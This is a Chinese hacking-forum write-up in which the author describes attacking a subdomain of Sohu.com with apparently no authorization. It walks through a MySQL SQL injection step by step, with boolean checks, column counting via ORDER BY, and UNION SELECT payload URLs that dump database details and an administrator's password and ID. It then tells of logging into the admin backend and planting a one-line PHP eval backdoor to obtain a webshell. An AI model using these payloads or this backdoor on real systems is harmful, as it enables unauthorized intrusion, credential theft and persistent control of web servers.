对Sohu.com的一次安全检测

最近学习MySQL注入，于是顺便就对Sohu.com做了一次小小的安全检测，看看它是否存在SQL注入漏洞。
去Sohu.com的主站看了一下，发现差不多都是静态页面，我只得放弃了在主站上找问题的想法。直接在Sohu.com的各个分站上浏览了一圈后发现，大部分网站采用的都是PHP脚本，也有少数用的是JSP脚本，根据经验我们知道，对于PHP构建的系统，一般后台数据库都是MySQL，就象ASP对应着 MSSQL一样。由于PHP的特性（PHP默认将传递的参数中的“'”等字符做了转换，所以对于字符类型的变量默认情况下很难注入），一般情况下我们注入的只能是数字类型的变量。根据平时注入的知识，我们知道id=XXX这样的形式在传递的参数时一般都是数字类型的变量，所以我们只要去测试那些php? id=XXX的连接就有可能找到漏洞！
测试
通过一番仔细的搜索，还真让我在“XXX.it.Sohu.com”上找到了一个存在问题的连接“ http://XXX.it.Sohu.com/book/serialize.php?id=86”
提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=1/*”
返回正常。
然后提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2/*”
返回没有信息。
空空的吧，这说明SQL语句的处理结果为空。
通过这两个URL我们可以猜测到漏洞是存在的，因为我们提交的“and 1=1”和“and 1=2”都被当作Sql语句执行了。既然如此，那么我们提交的其他语句也应该是可以执行的，这就是传说中的SQL注入……
因为PHP的特性，我们可以得知“id”是被当作数字来处理的。它并没有放到''之间，否则我们是无法成功的。以前遇到过一些别的情况，都是过滤了“Select”，在MySQL中这就等于宣告死刑。
既然漏洞是存在的，那我们就继续。首先探测数据库的类型和连接数据库的账户。如果权限比较高并且数据库和Web在同一台服务器上的话就可以免除猜测字段的痛苦了。提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*”，返回正常。
解释一下：此语句是看数据库的版本是不是高于3的，因为3的ASCII是51。版本的第一个字符如果大于51自然就是4.0以上。MySQL4.0以上版本是支持Union查询的，这里结果为真，所以数据库可以支持Union查询。
既然支持Union查询，我们就先把此语句的字段给暴出来吧！这对于以后的操作非常有利。提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 10/*”，返回结果正常。看来字段是大于10个的。
继续提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 20/*”，结果依然正常返回。
提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 30/*”。结果到Order by 50的时候返回没有信息了。看来它是大于40，小于50的。
接着提交： http://XXX.it.Sohu.com/book/serialize.php?id=86 order by 45/*。终于猜测到字段是41左右了！这里说“左右”是因为有些字段是不能排序的，所以还需要我们用Union精确定位字段数字，提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*”
成功了，哪些字段会在页面显示也是一目了然，现在让我们继续进行下去。
提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*”
现在我们就完成了对数据库系统的探测。因为我们有可能不是Root权限，并且数据库服务器同Web服务器不在一台主机上。这样我们就没有File权限了，提交“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and (select count(*) from MySQL.user)>0/*
看来没有对MySQL的读取权限，这更使我确定权限不是Root。尽管不是Root，也不要气馁，让我们继续吧！在进一步猜测数据之前我们最好先找到数据后台。因为很多时候我们可以找到了管理员密码……却找不到地方登录。
在根目录下加上/admin和/manage/等后台常用地址，结果都返回404错误。猜测了几次终于在/book/目录下加上/admin时出现了403 Forbiden错误。总算找到地方了，然而登录页面死活也猜不出。
不过既然知道有个admin也不错，去Google里搜索：“admin site:Sohu.com”。
从Google我们得到了Sohu的另一分站的论坛。因为人具备惰性的，所以一般来说，分站的后台的特征就很可能是整个网站的特征。当我尝试访问“/book/admin/admuser.php”时奇迹果然出现了。
看来我们离成功非常近了，从这里，我们还可以获得一些重要的信息。查看源文件，我们可以发现登录表单名是name和password，这很容易推测出对方管理员表中的结构，下面继续注入。
提交： http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*结果返回错误，这说明不存在表admin。接着尝试admins和admin_user等，当提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”时返回成功。
现在可以确定有User表，那么它是不是管理员表？字段又是什么呢？继续提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”返回空信息的错误。
提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”。
……正常返回并且出来了一个密码，这应该是管理员表里第一个用户的密码。那么他的用户名是什么呢？我猜测了很多字段都返回错误。实在没有办法了，就输入一个ID，居然返回成功了！ID就是管理员的名字，提交：“ http://XXX.it.Sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*”
看看，得到管理员的名字咯！激动地拿着管理员用户名和密码去后台。
现在该想想如何拿WebShell了，在后台发现有上传图片的地方，但上传PHP文件时会提示“不是图片文件”。继续在后台摸索，找到一个个生成PHP文件的功能，于是在里面插入了一句话的PHP后门”<? eval($_POST[a])?>”。
点“生成”之后就提示成功了。用一句话后门连上去。
脚本检测到此圆满完成。
总结
在得到WebShell后我上服务器上看了看，发现服务器的安全是做得不错，执行不了命令，并且基本上所有的目录除了我们刚才上传的目录之外都是不可写的，不过作为脚本测试，得到了WebShell也就算成功了吧！从这里也可以看出，小小的一个参数没有过滤就可以导致网站的沦陷。网站越大，参数越多，我们更加需要注意过滤方面的问题。欢迎大家到黑防论坛讨论，我的ID是剑心。